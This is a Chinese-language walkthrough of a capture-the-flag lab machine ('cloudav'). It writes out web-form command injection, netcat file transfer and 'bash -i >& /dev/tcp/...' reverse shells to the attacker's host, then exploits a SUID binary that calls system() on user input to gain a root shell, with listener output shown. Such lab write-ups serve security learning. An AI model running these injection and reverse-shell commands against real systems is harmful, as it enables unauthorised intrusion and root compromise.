- 表单提交
a | ls | grep 'xxxxx' | touch a.sh
- 表单提交
a | ls | grep 'xxxxx' | nc -l -p 4444 -w6 > a.sh
- 在 kali 执行
nc 192.168.56.109 4444 < 'bash -i >& /dev/tcp/192.168.56.111/23333 0>&1'
- 在 kali 执行
netcat -lvp 23333
监听端口 - 表单提交
a | ls | grep 'xxxxx' | bash a.sh
反弹 shell
┌──(kali?kali)-[~/workspace]└─$ netcat -lvp 23333listening on [any] 23333 ...192.168.56.109: inverse host lookup failed: Unknown hostconnect to [192.168.56.111] from (UNKNOWN) [192.168.56.109] 52396bash: cannot set terminal process group (694): Inappropriate ioctl for devicebash: no job control in this shellscanner@cloudav:~/cloudav_app$ lslsapp.pya.shdatabase.sqlget-pip.pyget-pip.py.1get-pip.py.2get-pip.py.3samplestemplatesscanner@cloudav:~/cloudav_app$
- 成功反弹 shell
探索目标我们已经进入目标的内部,我们探索一下目录、文件
- 我们在用户根目录发现一个有特殊权限的文件
-rwsr-xr-x 1 rootscanner 8.4K Oct 242018 update_cloudav
scanner@cloudav:~$ ls -alhls -alhtotal 60Kdrwxr-xr-x 6 scanner scanner 4.0K Oct 242018 .drwxr-xr-x 4 rootroot4.0K Oct 212018 ..-rw------- 1 scanner scanner5 Oct 242018 .bash_history-rw-r--r-- 1 scanner scanner220 Oct 212018 .bash_logout-rw-r--r-- 1 scanner scanner 3.7K Oct 212018 .bashrcdrwx------ 2 scanner scanner 4.0K Oct 212018 .cachedrwxrwxr-x 4 scanner scanner 4.0K Oct 23 10:59 cloudav_appdrwx------ 3 scanner scanner 4.0K Oct 212018 .gnupgdrwxrwxr-x 3 scanner scanner 4.0K Oct 212018 .local-rw-r--r-- 1 scanner scanner807 Oct 212018 .profile-rw-rw-r-- 1 scanner scanner66 Oct 212018 .selected_editor-rwsr-xr-x 1 rootscanner 8.4K Oct 242018 update_cloudav-rw-rw-r-- 1 scanner scanner393 Oct 242018 update_cloudav.c
- 在linux中,
-s
指的是强制位权限,具有程序运行时子进程权限继承,s 权限位是一个敏感的权限位,容易造成系统的安全问题 - 其中还含有源码 update_cloudav.c 我们可以查看源码,发现执行此命令需要一个参数,我们完全可以故技重施
#include <stdio.h>int main(int argc, char *argv[]){char *freshclam="/usr/bin/freshclam";if (argc < 2){printf("This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam\n");return 1;}char *command = malloc(strlen(freshclam) + strlen(argv[1]) + 2);sprintf(command, "%s %s", freshclam, argv[1]);setgid(0);setuid(0);system(command);return 0;}
- 在linux中,
- 获取 root 权限
- Kali 设置
netcat -lvp 4444
监听 4444 端口 - 靶机上 shell 反弹
touch b.sh && echo 'bash -i >& /dev/tcp/192.168.56.111/4444 0>&1' > b.sh && ./update_cloudav "a | ls | grep 'xxxxx' | bash b.sh"
┌──(kali?kali)-[~]└─$ netcat -lvp 4444listening on [any] 4444 ...192.168.56.109: inverse host lookup failed: Unknown hostconnect to [192.168.56.111] from (UNKNOWN) [192.168.56.109] 56672bash: cannot set terminal process group (694): Inappropriate ioctl for devicebash: no job control in this shellroot@cloudav:~# ididuid=0(root) gid=0(root) groups=0(root),1001(scanner)
- Kali 设置
推荐阅读
- breakout靶机
- 靶机: medium_socnet
- 结合springboot实现,这里对接的是easy版本,工具用的是IDEA,WebStrom 支付宝沙箱服务
- easy的比较级和最高级 nice的比较级和最高级
- m4a是什么软件录音的
- neteasy netease是什么文件夹
- 一键分享SKETCH设计稿的EASY sketch ui设计
- 苹果手机变成耳机模式怎么调回来 方法so easy 苹果手机变成耳机模式怎么调回来